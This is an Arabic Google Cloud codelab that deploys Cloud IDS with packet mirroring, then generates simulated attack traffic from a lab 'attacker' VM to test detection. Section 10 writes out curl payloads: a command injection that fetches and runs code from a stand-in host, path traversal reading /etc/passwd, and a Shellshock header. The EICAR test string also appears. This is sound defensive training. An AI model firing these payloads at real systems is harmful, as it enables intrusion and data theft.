1. مقدمة
في هذا الدرس العملي، ستنشر Cloud IDS، وهي خدمة متقدّمة من الجيل التالي لرصد التسلّل توفّر ميزة رصد التهديدات من عمليات التسلّل والبرامج الضارة وبرامج التجسس وهجمات التحكّم والسيطرة. ستحاكي عدة هجمات وتطّلع على تفاصيل التهديدات في Cloud Console.
ما ستتعلمه
- كيفية إنشاء نقطة نهاية Cloud IDS
- كيفية إنشاء جهازَين افتراضيَين باستخدام أوامر gcloud
- كيفية إنشاء سياسة نسخ حزمة البيانات
- كيفية محاكاة حركة بيانات الهجوم من جهاز افتراضي
- كيفية عرض تفاصيل التهديدات في Cloud Console وCloud Logging
المتطلبات
- معرفة أوامر Linux الأساسية
2. حالات استخدام Cloud IDS
توفّر خدمة Cloud IDS خدمة كشف التسلل من الجيل التالي (IDS) من Google Cloud للعملاء بهدف تلبية متطلباتهم المتقدّمة في ما يتعلّق برصد التهديدات والامتثال، مثل PCI 11.4. تستند الخدمة إلى تقنيات الحماية من التهديدات من Palo Alto Networks لتوفير ميزة متقدّمة لرصد التسلّل. من خلال الجمع بين البنية التحتية ذات المستوى العالمي من Google Cloud والأمان ذي المستوى العالمي من Palo Alto Networks، يحصل العملاء على مزيج لا مثيل له من خدمة متكاملة الإدارة وعالية الأداء وفعّالة للغاية في رصد التهديدات المتقدّمة.
عندما ينقل العملاء بياناتهم إلى السحابة الإلكترونية، يكون الأمان أوّل ما يخطر في بالهم. ويريدون توفير عناصر تحكّم مماثلة في الأمان كما هو الحال في بيئة العمل المحلية، مثل خدمة رصد التطفّل (IDS) في السحابة الإلكترونية. ويفضّلون بشدة استخدام حلّ IDS مُدار ومتوافق مع السحابة الإلكترونية لتسهيل عملية النشر، وتحقيق أداء عالٍ، وخفض التكاليف مقارنةً بنشر حلّ أمان تابع لجهة خارجية وإدارة البنية التحتية أو إحضار توقيعاتهم الخاصة. توفّر خدمة نظام كشف التسلل (IDS) من Cloud المُدارة والمتكاملة والقابلة للتدرّج التلقائي في Google Cloud للعملاء إمكانية استغلال وقتهم في تحليل التهديدات وتخفيف الأثر، كما توفّر لهم الوقت والموارد اللازمة لإدارة البنية الأساسية أو توقيعات التهديدات.
يتم نشر نظام كشف التسلل المستند إلى السحابة الإلكترونية خارج النطاق ويمكنه رصد التهديدات والتنبيه بشأنها، ولكن لا يمكنه حظرها. تستفيد هذه الخدمة من ميزة "نسخ حزمة البيانات" في Google Cloud لإنشاء نسخة من حركة بيانات الشبكة يتم تحليلها باستخدام محرّك رصد التهديدات من Palo Alto Network.
3- بنية الدرس التطبيقي حول الترميز

الشكل 1: نظرة عامة على مستوى عالٍ حول بنية نشر Cloud IDS لهذا الدرس العملي
4. الإعداد والمتطلبات
إعداد البيئة بالسرعة التي تناسبك
- سجِّل الدخول إلى Google Cloud Console وأنشِئ مشروعًا جديدًا أو أعِد استخدام مشروع حالي. إذا لم يكن لديك حساب على Gmail أو Google Workspace، عليك إنشاء حساب.



- اسم المشروع هو الاسم المعروض للمشاركين في هذا المشروع. وهي سلسلة من الأحرف لا تستخدمها Google APIs، ويمكنك تعديلها في أي وقت.
- يجب أن يكون رقم تعريف المشروع فريدًا في جميع مشاريع Google Cloud، كما أنّه غير قابل للتغيير (لا يمكن تغييره بعد ضبطه). تنشئ Cloud Console تلقائيًا سلسلة فريدة، ولا يهمّك عادةً ما هي. في معظم دروس الترميز، عليك الرجوع إلى رقم تعريف المشروع (ويتم تحديده عادةً على أنّه
PROJECT_ID)، لذا إذا لم يعجبك، يمكنك إنشاء رقم آخر عشوائي، أو يمكنك تجربة رقمك الخاص ومعرفة ما إذا كان متاحًا. ثم يتم "تجميده" بعد إنشاء المشروع. - هناك قيمة ثالثة، وهي رقم المشروع الذي تستخدمه بعض واجهات برمجة التطبيقات. يمكنك الاطّلاع على مزيد من المعلومات عن كل هذه القيم الثلاث في المستندات.
- بعد ذلك، عليك تفعيل الفوترة في Cloud Console من أجل استخدام موارد/واجهات برمجة تطبيقات Cloud. لن تكلفك تجربة هذا الدرس التطبيقي حول الترميز الكثير من المال، إن لم تكلفك شيئًا على الإطلاق. لإيقاف الموارد كي لا يتم تحصيل رسوم منك بعد هذا الدرس التطبيقي حول الترميز، اتّبِع أي تعليمات "تنظيف" واردة في نهاية الدرس. يمكن لمستخدمي Google Cloud الجدد الاستفادة من برنامج الفترة التجريبية المجانية بقيمة 300 دولار أمريكي.
بدء Cloud Shell
على الرغم من إمكانية تشغيل Google Cloud عن بُعد من الكمبيوتر المحمول، ستستخدم في هذا الدرس العملي Google Cloud Shell، وهي بيئة سطر أوامر تعمل في السحابة الإلكترونية.
من وحدة تحكّم Google Cloud Platform، انقر على رمز Cloud Shell في شريط الأدوات العلوي الأيسر:

لن يستغرق توفير البيئة والاتصال بها سوى بضع لحظات. عند الانتهاء، من المفترض أن يظهر لك ما يلي:

يتم تحميل هذه الآلة الافتراضية مزوّدة بكل أدوات التطوير التي ستحتاج إليها. توفّر هذه الخدمة دليلًا منزليًا ثابتًا بسعة 5 غيغابايت، وتعمل على Google Cloud، ما يؤدي إلى تحسين أداء الشبكة والمصادقة بشكل كبير. يمكن إكمال جميع المهام في هذا التمرين المعملي باستخدام متصفّح فقط.
5- قبل البدء
تفعيل واجهات برمجة التطبيقات
داخل Cloud Shell، تأكَّد من إعداد رقم تعريف مشروعك
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
تفعيل جميع الخدمات اللازمة
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. إنشاء شبكة VPC
شبكة السحابة الخاصة الافتراضية (VPC)
من Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
الشبكة الفرعية
من Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
الوصول الخاص إلى الخدمة
من Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Service Connection
من Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
قواعد جدار الحماية
للسماح لميزة "الوصول إلى الأجهزة الافتراضية عبر الإنترنت" بالاتصال بأجهزة VM الافتراضية، أنشئ قاعدة جدار حماية تتضمّن ما يلي:
- ينطبق على جميع مثيلات الأجهزة الافتراضية التي تريد إتاحتها باستخدام IAP.
- تسمح هذه القاعدة بحركة البيانات الواردة من نطاق عناوين IP 35.235.240.0/20. يحتوي هذا النطاق على جميع عناوين IP التي تستخدمها خدمة IAP لإعادة توجيه بروتوكول TCP.
من Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
للسماح بمنفذ HTTP العادي (TCP 80) وبروتوكول ICMP للخادم، اتّبِع الخطوات التالية:
- ينطبق على الموارد التي تحمل علامة الشبكة "server"
- يسمح بالدخول من جميع المصادر
من Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
إنشاء مثيل Cloud NAT
Cloud Router
من Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
من Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. إنشاء نقطة نهاية Cloud IDS
في هذا القسم، ستنشئ نقطة نهاية Cloud IDS في us-east1، مع ضبط مستوى الخطورة على "معلومات". تستغرق عملية إنشاء نقطة نهاية نظام كشف التسلّل 20 دقيقة تقريبًا.
نقطة نهاية نظام كشف التسلل
من Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
التأكّد من بدء نقطة نهاية Cloud IDS
gcloud ids endpoints list --project=$PROJECT_ID
الناتج -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. إنشاء جهازَين افتراضيَّين
في هذا القسم، ستنشئ جهازَين افتراضيَّين. سيكون الخادم الأول هو خادم الويب الذي يتم نسخه إلى Cloud IDS. سيكون الجهاز الافتراضي الثاني هو مصدر زيارات الهجوم.
الجهاز الظاهري 1 (الخادم)
من Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
الجهاز الظاهري 2 (العميل)
من Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9- إعداد الخادم
في هذه المهمة، عليك التحقّق من صحة الخادم وتقديم حمولة برامج ضارة غير مؤذية للعميل.
تسجيل الدخول إلى الجهاز الظاهري من خلال Cloud Shell باستخدام بروتوكول النقل الآمن (SSH)
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
تأكيد أنّ خدمة الويب تعمل
sudo systemctl status nginx
الناتج - التحقّق من أنّ التطبيق نشط وقيد التشغيل
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
تغيير الدليل إلى خدمة الويب
cd /var/www/html/
إنشاء ملف برامج ضارة غير مؤذية على خادم الويب
sudo touch eicar.file
لصق المحتوى
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
الرجوع إلى CloudShell
exit
إنشاء سياسة نسخ مطابقة لحِزم Cloud IDS
حدِّد قاعدة إعادة توجيه نقطة نهاية نظام كشف التسلل (IDS) وتأكَّد من أنّ حالة نقطة نهاية نظام كشف التسلل هي "جاهزة".
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
مثال على الناتج - نسخ القيمة من "endpointForwardingRule"
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
احفظ قاعدة إعادة توجيه نقطة نهاية نظام كشف التسلّل إلى متغيّر.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
سياسة نسخ حزم البيانات
من Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
التأكّد من إنشاء سياسة نسخ حزم البيانات
من Cloud Shell
gcloud compute packet-mirrorings list
الناتج
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. محاكاة حركة المرور للهجمات
استخدام بروتوكول النقل الآمن (SSH) في الجهاز الافتراضي للمهاجم (العميل)
من Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
نفِّذ طلبات curl التالية لمحاكاة الزيارات الضارة.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
الخروج من الجهاز الافتراضي للعودة إلى Cloud Shell
exit
11. مراجعة التهديدات التي رصدها نظام Cloud IDS
الانتقال إلى لوحة بيانات Cloud IDS
قائمة التنقّل > أمان الشبكة > نظام كشف التسلل من Cloud (Cloud IDS)

انتقِل إلى علامة التبويب "التهديدات".

كما ترى، رصدت خدمة Cloud IDS العديد من ملفات تعريف حركة البيانات الضارة وقدّمت تفاصيل عن كل تهديد. قد تحتاج إلى النقر على الزر "إعادة تحميل الصفحة" إذا لم تظهر لك أي تهديدات. سنتعمّق الآن قليلاً ونعرض تفاصيل التهديد.
ابحث عن تهديد "ثغرة تنفيذ التعليمات البرمجية عن بُعد في Bash" وانقر على النقاط الثلاث على اليمين، ثم اختَر "عرض تفاصيل التهديد".


سنعرض الآن تفاصيل هذا الحادث في Cloud Logging. ارجع إلى صفحة "التهديدات" من خلال النقر على السهم المتّجه لليسار .
انقر على النقاط الثلاث على اليسار واختَر "عرض سجلّات التهديدات".


يتم تقديم التفاصيل نفسها إلى Cloud Logging. يتيح لك ذلك إرسال السجلات إلى Cloud Storage أو Chronicle أو أي نظام SIEM/SOAR. يمكنك أيضًا إنشاء سير عمل مخصّص لاتّخاذ إجراءات تصدير البيانات الناقصة استنادًا إلى التنبيهات، مثل إنشاء دالة سحابية يتم تشغيلها عند تلقّي تنبيه وإنشاء/تعديل قاعدة جدار الحماية لحظر عنوان IP، أو إنشاء/تعديل سياسة Cloud Armor.
12. خطوات التنظيف
الخروج من مثيل الجهاز الافتراضي (جميع علامات التبويب)
exit
حذف مكوّنات المختبر من نافذة Cloud Shell واحدة
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. تهانينا!
تهانينا على إكمال هذا الدرس العملي.
المواضيع التي تناولناها
- حالات استخدام Cloud IDS
- متطلبات الشبكة
- واجهات برمجة التطبيقات المتوافقة
- تم إنشاء نقطة نهاية Cloud IDS
- تم نشر جهازَين افتراضيَين
- إنشاء بعض حركة المرور "للهجوم" من العميل
- رصد نظام IDS تهديدات تم التحقّق منها
- مراجعة تفاصيل التهديدات والسجلّات